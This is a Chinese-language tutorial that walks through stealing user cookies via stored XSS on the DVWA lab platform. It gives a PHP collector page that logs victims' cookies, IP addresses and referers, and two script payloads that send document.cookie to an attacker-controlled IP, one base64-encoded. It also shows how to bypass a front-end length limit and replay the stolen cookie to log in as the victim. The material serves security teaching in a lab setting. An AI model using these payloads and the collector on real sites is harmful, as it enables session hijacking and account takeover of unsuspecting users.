XSS窃取用户Cookie
00x01
概述
实验概述
实验拓扑:
XSS的用途之一就是窃取用户的cookie,攻击者利用XSS在网页中插入恶意脚本,一旦用户访问该网页,cookie就会自动地发送到攻击者的服务器中去。
使用cookie我们可以实现免密登陆,如果能够盗取网站管理员的cookie,那么就可以用管理员的身份直接登录网站后台,而不必非要去获得管理员账号和密码了。
关于cookie的原理,在前面讲过一期,这里就不赘述了,有兴趣的小伙伴可以看一下:
00x02
编写远端接收代码
接收cookie
在攻击者服务器搭建一个php页面,用于收取远端传过来的cookie,代码如下:
<?php
$cookie = $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv('HTTP_REFERER');
$fp = fopen( 'cookie.txt', 'a');
fwrite($fp,"IP: ".$ip." │ Date And Time: ".$time." | Referer: ".$referer." | Cookie: ".$cookie.'|||');
fclose($fp);
?>
代码解释如下:
1、通过$_GET接收传过来的cookie值。
2、通过getenv方法,可以获取用户ip地址和cookie的来源。
3、通过date函数,记录下获取到cookie的时间。
4、通过fopen函数,通过a(追加)的方式,打开cookie.txt文件。
5、通过fwrite的方式,将我们获取到的信息记录到cookie.txt文件中。
00x03
利用XSS盗取Cookie
XSS利用
web页面以DVWA平台 存储型XSS为例,我们来插入一个恶意JS代码。
构造如下js代码:
<script>document.write('<img src="http://192.168.211.1/xss/getcookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>
通过document.cookie可以读取当前页面的cookie值,然后通过GET方法发送至攻击者服务器。
选择low安全等级,打开dvwa XSS(stored)页面 :
在Name栏、Message栏均存在存储型XSS,在Message中输入上面的恶意代码,并提交,会发现有输入长度限制:
不过这里是前端长度限制,我们直接修改当前网页代码即可,将maxlength改大:
再次输入,可顺利输入,点击提交即可:
payload建议用这个:用base64编码,让特殊字符友好点
<script>document.write('<img src="http://192.168.43.18/xssGetCookie/getcookie.php?cookie='+window.btoa(unescape(encodeURIComponent(escape(document.cookie))))+'">');</script>
现在我们模拟用户来访问该页面,成功加载js代码:
查看攻击者服务器,顺利盗取到用户cookie:
00x04
Cookie窃取后的利用
Cookie利用
以下是我们窃取到的信息:
可以看到用户的访问地址和使用的cookie值。
现在攻击者去访问这个页面,由于没有cookie会自动跳转到登陆界面,无法直接访问:
浏览器利用Cookie Editor等插件,使用刚才盗取到的cookie:
再次访问页面,成功利用用户身份,实现无账号密码登陆: